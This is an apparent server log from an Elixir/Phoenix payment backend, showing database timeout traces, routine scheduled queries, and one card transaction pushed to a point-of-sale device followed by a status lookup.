    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:17:39.687000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:17:44.688000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:17:48.984000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 09:18:08.426000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Thu Sep  3 09:26:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.7ms idle=1500.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 09:29:27.938000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:29:32.939000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:30:01.477000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=4.2ms idle=1116.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 09:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 09:36:24.707000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=2.0ms idle=1441.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 09:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1351.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 09:53:58.730000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:54:03.732000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:54:05.095000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 09:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1252.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 10:00:01.059000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.6ms idle=1276.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 10:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 10:00:16.078000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:56078] POST /api/device/initiate
[Thu Sep  3 10:00:16.078000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:56078] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch917637388751", "externalRefNumber2" => "5873607799", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:16.079000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56078] Processing card transaction for reference: ch917637388751
[Thu Sep  3 10:00:16.080000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="users" db=1.1ms idle=1289.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:00:16.082000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="custom_events" db=1.1ms idle=1290.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:00:16.082000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch917637388751"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 120,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch917637388751",
  external_ref_number_2: "5873607799",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 10:00:16.082000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 120,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch917637388751",
    external_ref_number_2: "5873607799",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch917637388751",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:00:16.082381Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 10:00:16.082000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56078] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch917637388751", external_ref_number_2: "5873607799", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch917637388751", transaction_id: nil, date_added: ~U[2026-09-03 10:00:16.082381Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 10:00:16.174000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK db=90.8ms queue=0.5ms idle=999.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", amount: 120, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch917637388751", external_ref_number_2: "5873607799", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, "Initiate Card Txn Request", "ch917637388751", ~U[2026-09-03 10:00:16Z], 35, "initiate_card_txn_request", ~N[2026-09-03 10:00:16], ~N[2026-09-03 10:00:16]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:00:16.174000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Successfully created custom event log with ID: 40146
[Thu Sep  3 10:00:16.175000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56078] Handling card transaction:
- Reference: ch917637388751
- Amount: 120
- Params: %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch917637388751", "externalRefNumber2" => "5873607799", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}

[Thu Sep  3 10:00:16.177000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="users" db=1.4ms idle=385.1ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:00:16.178000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="custom_events" db=0.5ms idle=386.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:00:16.178000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch917637388751"
Payload: %{
  status: "online",
  username: "prasanna@dataaegis.com",
  ts: 1788429616,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 10:00:16.178000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "prasanna@dataaegis.com",
    ts: 1788429616,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch917637388751",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:00:16.178703Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 10:00:16.178000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56078] Creating custom event log with attributes: %{payload: %{status: "online", username: "prasanna@dataaegis.com", ts: 1788429616, device_id: "98250623730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "ch917637388751", transaction_id: nil, date_added: ~U[2026-09-03 10:00:16.178703Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 10:00:16.246000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK db=66.1ms queue=0.8ms idle=388.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "prasanna@dataaegis.com", ts: 1788429616, device_id: "98250623730001", amount: 120}, "Response From Device Online Status", "ch917637388751", ~U[2026-09-03 10:00:16Z], 36, "response_from_device_online_status", ~N[2026-09-03 10:00:16], ~N[2026-09-03 10:00:16]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:00:16.246000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Successfully created custom event log with ID: 40147
[Thu Sep  3 10:00:16.246000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56078] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch917637388751\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 10:00:16.337000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK db=88.0ms idle=458.4ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "120", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch917637388751", "externalRefNumber2" => "5873607799", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_51d9b8f7ff86@mercurypay.in", "98250623730001", "ch917637388751", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 10:00:16], ~N[2026-09-03 10:00:16]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 10:00:16.338000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="users" db=0.9ms idle=471.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:00:16.339000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="custom_events" db=0.5ms idle=389.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:00:16.340000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch917637388751"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788429616,
  qos: 1,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 10:00:16.340000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788429616,
    qos: 1,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch917637388751",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:00:16.340163Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 10:00:16.340000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56078] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429616, qos: 1, device_id: "98250623730001", amount: 120}, event_name: "Request For Publish Txn", refrence_id: "ch917637388751", transaction_id: nil, date_added: ~U[2026-09-03 10:00:16.340163Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 10:00:16.374000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK db=33.9ms idle=260.0ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429616, qos: 1, device_id: "98250623730001", amount: 120}, "Request For Publish Txn", "ch917637388751", ~U[2026-09-03 10:00:16Z], 37, "request_for_publish_txn", ~N[2026-09-03 10:00:16], ~N[2026-09-03 10:00:16]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:00:16.375000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Successfully created custom event log with ID: 40148
[Thu Sep  3 10:00:16.375000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56078] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1067450372.123943>
[Thu Sep  3 10:00:16.375000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56078] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1067450372.123947>
[Thu Sep  3 10:00:16.377000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="users" db=0.4ms queue=0.2ms idle=294.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 10:00:16.378000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK source="custom_events" db=0.9ms idle=291.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 10:00:16.379000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch917637388751"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788429616,
  device_id: "98250623730001",
  amount: 120
}

[Thu Sep  3 10:00:16.379000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788429616,
    device_id: "98250623730001",
    amount: 120
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch917637388751",
  transaction_id: nil,
  date_added: ~U[2026-09-03 10:00:16.379206Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 10:00:16.379000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:56078] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429616, device_id: "98250623730001", amount: 120}, event_name: "Response From Publish Txn", refrence_id: "ch917637388751", transaction_id: nil, date_added: ~U[2026-09-03 10:00:16.379206Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 10:00:16.475000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:56078] QUERY OK db=95.1ms idle=205.4ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788429616, device_id: "98250623730001", amount: 120}, "Response From Publish Txn", "ch917637388751", ~U[2026-09-03 10:00:16Z], 38, "response_from_publish_txn", ~N[2026-09-03 10:00:16], ~N[2026-09-03 10:00:16]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 10:00:16.475000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:56078] Successfully created custom event log with ID: 40149
[Thu Sep  3 10:00:16.475000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:56078] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1067450372.123947>
[Thu Sep  3 10:00:16.475000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:56078] Sent 200 in 397ms
[Thu Sep  3 10:00:32.460000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:51138] POST /api/device/status
[Thu Sep  3 10:00:32.461000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:51138] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:00:32.462000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51138] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch917637388751", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:00:32.462000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:51138] Transaction reference number: "ch917637388751"
[Thu Sep  3 10:00:32.486000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51138] QUERY OK source="pos_transaction" db=23.5ms idle=1117.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch917637388751"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:00:32.488000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:51138] QUERY OK source="pos_temp_transaction" db=1.5ms idle=697.2ms
